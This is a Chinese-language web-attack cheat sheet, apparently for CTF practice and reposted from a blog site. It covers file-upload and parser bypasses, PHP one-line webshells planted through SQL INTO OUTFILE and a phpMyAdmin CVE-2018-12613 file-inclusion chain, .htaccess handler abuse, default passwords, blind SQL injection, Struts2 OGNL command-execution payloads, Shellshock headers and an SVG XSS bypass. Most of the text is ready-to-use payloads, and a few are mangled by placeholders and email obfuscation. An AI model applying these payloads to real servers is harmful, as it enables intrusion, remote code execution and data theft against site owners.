文件上传漏洞
当 PHP 上传失败后, 可考虑文件白名单 (改后缀名为 php5,php3)
iis6 解析漏洞: 当上传到目录为 /*.asp 时, 任何文件皆解析为 asp, 可以上传 asp 形式的图马或 txt 马, 连接 (连接时直接连即可)
SQL 注入
数字型注入: 无单引号
字符型注入: 前有单引号后有注释符, 万能密码'or'1'='1 除外
盲注:
可用工具, 程序, burp 爆破来辅助
正则注入
1 and 1=(select 1 from information_schema.tables where table_schema='xxx' and table_name regexp '^us[a-z]' limit 0,1)
注意: 正则匹配所有项, 与常规盲注的 limit n,1 不同, 正则是不需要改的
同样, 用 like 类似正则
select user() like 'ro%'
弱口令
admin admin/admin admin888/admin 123456/admin 域名 / test test/test test123
文件解析漏洞
目录解析
- /xx.asp/webshell.jpg
- /xx.asa/webshell.jpg
文件解析
webshell.asp;jpg 适用于 iis6
Apache 解析漏洞
test.PHP.xxx.yyy x 和 y 皆为无法识别的后缀名
copy xx.jpg /b + yy.txt /a xy.jpg 图马 -> 构造 sp.jpg, 写入 <?PHP fputs(fopen('payload.php','w'),'<?php eval($_POST[hehe])?>');?>, 访问 sp.jpg/.PHP 适用于 Fast-CGI 开启 0x02 IIS 7.0/IIS 7.5/ Nginx 版本 <=8.03
/xx.jpg%00.PHP 在 Fast-CGI 关闭的情况下, Nginx <=0.8.37
罕见后缀
PHP 族 phtml,pht,php3,php4,php5,pyc 和 pyo
.htaccess 利用
.htaccess 文件如果可以上传且能覆盖原有配置, 文件写入配置 < FilesMatch "1"> SetHandler application/x-httpd-PHP </FilesMatch>
生效条件: Apache 的配置文件中写上: AllowOverride All
加载 mod_Rewrite 模块, 在 Apache 的配置文件中写上: LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so
(Ubuntu 中还需要) sudo a2enmod rewrite
利用
MIME 类型修改:.htaccess 中写: AddType application/x-httpd-PHP
或写 < FilesMatch "shell.jpg">SetHandler application/x-httpd-PHP</FilesMatch>, 可使 shell.jpg 解析为 PHP
或写 < FilesMatch "hello"> SetHandler application/x-httpd-PHP </FilesMatch>, 只要包含 hello 就会被解析为 PHP
sql 写 shell
1'union select 1,'<?PHP eval($_POST[a]);?>'into outfile'/var/www/tmp/a.PHP'# 用 into outfile 将一句话 *** 写成 PHP, 前提: 知道网站绝对路径 一句话 *** 部分转 hex
绝对路径 可以在写 into outfile 时虚构一个路径来爆出真的路径
bypass 空格绕过 比如屏蔽 union 可改写为 un union ion
struct2 s2-16 漏洞
找 action, 然后构造以下代码 (以 index.action,redirect 命令为例, 代码作用为执行 *** 命令并下载文件到本地)
index.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'ls','\'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}
new java.lang.String[]{'ls','\'} 为 *** 命令
对于 index.action?redirect: 后面的内容, 有可能需要进行 url 转码
下列代码可用于回显网站绝对路径
index.action?redirect:${#a=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),#b=#a.getSession(),#c=#b.getServletContext(),#d=#c.getRealPath("/"),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#d),#matt.getWriter().flush(),#matt.getWriter().close()}
以上代码均为 ONGL 表达式
bash 远程执行命令漏洞
找 / CGI-bin/x.CGI 或直接找到 CGI 用搜索引擎
利用漏洞 () { :;}; + 命令执行 (用 burp 抓包, 将此语句放入 connection 或 user-agent)
命令示例:
- () {
- :;
- }; echo; /bin/bash -c 'cat /key.txt'
- () {
- :;
- }; echo; /bin/ls /
echo; 是为了闭合函数
SVN 源码泄漏漏洞
/.SVN/entries 显示网站目录数
/.SVN/wc.db 可下载数据库, 用数据库软件如 SQLiteStudio 打开 (或者改名为 txt 尝试用 notpad++ 打开), 然后寻找 key
- bypass 0day
- <svg><script xlink:href=data:,alert(1)></script></svg> 利用 svg 标签进行绕过
PHP 后台文件包含漏洞 CVE-2018-12613
前提: 登录后台
打开 SQL, 写 select '<?php phpinfo()?>;'
burp 抓包, 记录下 cookie(phpMyAdmin=xxx)
利用文件包含漏洞
index.PHP?target=dbsql.PHP%253f/../../../../../../../../../../../tmp/sess + 之前记录的 cookie
(Macos 的 session 保存目录为 / var/tmp/,Linux 的 session 保存目录为 / var/lib/PHP/sessions)
在 phpinfo 中寻找 path, 找网站的绝对路径
例:/var/www/HTML/
则通过 sql into outfile 的方式写马:
select '<?php @eval($_POST[a])?>;' into outfile '/var/www/html/a.php'
HTTP 头注入 (X-Forwarded-for)
抓包, 发送至 repeater, 写入 X-Forwarded-For:or 1=1
如果报错则存在注入
然后进行常规的 sql 注入 (order by...union select...)
struct2 s2-04 漏洞
利用方式:/struts/../ 对目录进行回溯
bypass:url 编码 ..%2f, 若无法正常回显则尝试二次 url 编码 ..%252f
struct2 s2-15 漏洞 br/> 检验:/${1+1}.action, 被执行则存在漏洞
exp:${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#[email protected]@toString(@[email protected]().exec('ls').getInputStream()),#q}.action
bypass:url 编码
参数提交:
/?+ 参数 可向网站提交参数, 提交方式可用 burp 进行修改
文件读取
例: index.PHP?jpg=hei.jpg, 改写为 index.PHP?jpg=index.PHP 可读取 index.PHP 的内容
Created by PhpStorm
phpStorm 会自动生成. idea 文件, 其中会包含一组 xml 文件
来源: http://www.bubuko.com/infodetail-3172433.html